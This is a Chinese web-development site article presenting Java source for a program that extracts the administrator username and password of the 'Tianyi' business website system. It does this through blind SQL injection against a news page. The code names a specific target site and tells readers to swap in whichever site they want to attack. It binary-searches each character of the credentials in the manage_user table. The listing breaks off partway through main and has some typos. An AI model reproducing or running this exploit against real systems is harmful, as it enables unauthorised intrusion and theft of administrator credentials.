WEB开发网
开发学院WEB开发Jsp java程序破解天意商务系统后台帐号 阅读

java程序破解天意商务系统后台帐号

 2008-01-05 09:08:56 来源:WEB开发网   
核心提示:java程序破解天意商务系统后台帐号/** 文件名 : AttackTY.java 描述 : 针对天意商务系统的java程序,破解后台治理员用户名和密码,java程序破解天意商务系统后台帐号,利用SQL Injection漏洞 注入地址为本网动态的某个新闻,这里以www.ejl.cn为例 作者: 慈勤强

  java程序破解天意商务系统后台帐号


/**
文件名 : AttackTY.java
描述 : 针对天意商务系统的java程序,破解后台治理员用户名和密码,利用SQL Injection漏洞
注入地址为本网动态的某个新闻,这里以www.ejl.cn为例
作者: 慈勤强
Email : cQQ1978@Gmail.com
**/


import java.net.*;
import java.io.*;

public class AttackTY extends Thread
{
int iUserLen;
int ipwdLen;
String strKey="暂时还未";
String strU="http://www.ejl.cn/show_news.asp?newsid=105"; //只须修改这里,变成你要攻击的网站地址

//取得某个页面的函数
public String getContent(String strUrl)
{
try{
URL url=new URL(strUrl);
BufferedReader br=new BufferedReader(new InputStreamReader(url.openStream()));
String s="";
StringBuffer sb=new StringBuffer("");
while((s=br.readLine())!=null)
{
sb.append(s+"\r\n");
}
br.close();
return sb.toString();
}
catch(Exception e){
return "error open url" + strUrl;

}
}


//取得治理员用户名和密码的长度
PRivate int getLen(String str)
{
AttackTY ou=new AttackTY();
String s,s1;
for(int i=2;i<20;i++)
{
s=strU+"%20and%20(select%20top%201%20len("+str+")%20from%20manage_user)="+i;
s1=ou.getContent(s);
if(s1.indexOf(strKey)<0)
{
return i;
}
}
return 0;
}


//二分法取得用户名和密码的Ascii码值
private void getValue(String str,int iLen)
{
AttackTY ou=new AttackTY();
String s,s1,s2;
s2="";
int iStart,iEnd,iNow;
for(int j=1;j<=iLen;j++)
{
iStart=33;
iEnd=126;
while(iEnd-iStart>1)
{
iNow=(iStart+iEnd)/2;
s=strU+"%20and%20(select%20top%201%20asc(mid("+str+","+j+",1))%20from%20manage_user)>"+iNow;
s1=ou.getContent(s);
if(s1.indexOf(strKey)<0)
{
iStart = iNow;
}
else
{
iEnd = iNow;
}
}

System.out.print((char)iEnd);
}
}


public static void main(String args[])
{
AttackTY ou=new AttackTY();
ou.iUserLen=ou.getLen("username");
ou.iPwdLen=ou.getLen("passWord");

Tags:java 程序

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接